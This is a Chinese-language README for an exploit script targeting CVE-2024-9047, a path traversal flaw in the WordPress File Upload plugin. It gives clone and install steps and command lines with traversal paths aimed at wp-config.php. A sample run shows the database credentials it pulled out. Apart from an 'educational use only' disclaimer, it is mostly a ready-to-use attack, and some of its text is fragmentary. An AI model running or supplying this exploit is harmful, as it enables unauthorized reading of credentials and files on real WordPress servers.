WordPress 文件上传 插件的所有版本(包括 4.24.11 及更早版本)中存在一个 路径遍历 漏洞,该漏洞位于 wfu_file_downloader.php 文件中。此漏洞允许未经身份验证的攻击者读取或删除预期目录之外的文件。成功利用此漏洞需要目标 WordPress 站点运行 PHP 7.4 或更早版本。
攻击者可以通过向存在漏洞的端点 wfu_file_downloader.php 发送特制请求,并操纵文件路径参数,从而获得对服务器上敏感文件的未授权访问。
4.24.11 或更早版本)。7.4 或更早版本。克隆此仓库:
git clone https://github.com/Nxploited/CVE-2024-9047-Exploit.git
cd CVE-2024-9047-Exploit
安装 Python 依赖(如果需要):
pip install requests
运行脚本以检查插件版本并利用漏洞:
python3 CVE-2024-9047.py --url http://target-site.com --command /../../../../../path/to/target/file
利用默认的漏洞配置并读取 WordPress 配置文件:
python3 CVE-2024-9047.py --url http://192.168.1.100 --command /../../../../../opt/lampp/htdocs/wordpress/wp-config.php
C:\Users\Nxploit\Desktop\-C>python CVE-2024-9047.py -u http://192.168.100.74:888/wordpress/
Detected version: "trunk"
The site is vulnerable!
Exploit successful! Response:
<?php
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress7' );
/** Database username */
define( 'DB_USER', 'root' );
/** Database password */
define( 'DB_PASSWORD', '' );
/** Database hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
/**#@+
保护您的 WordPress 站点:
此代码仅用于教育和研究目的。在未获得明确许可的系统上未授权使用此脚本是非法且不道德的。作者对此代码的任何滥用行为不承担责任。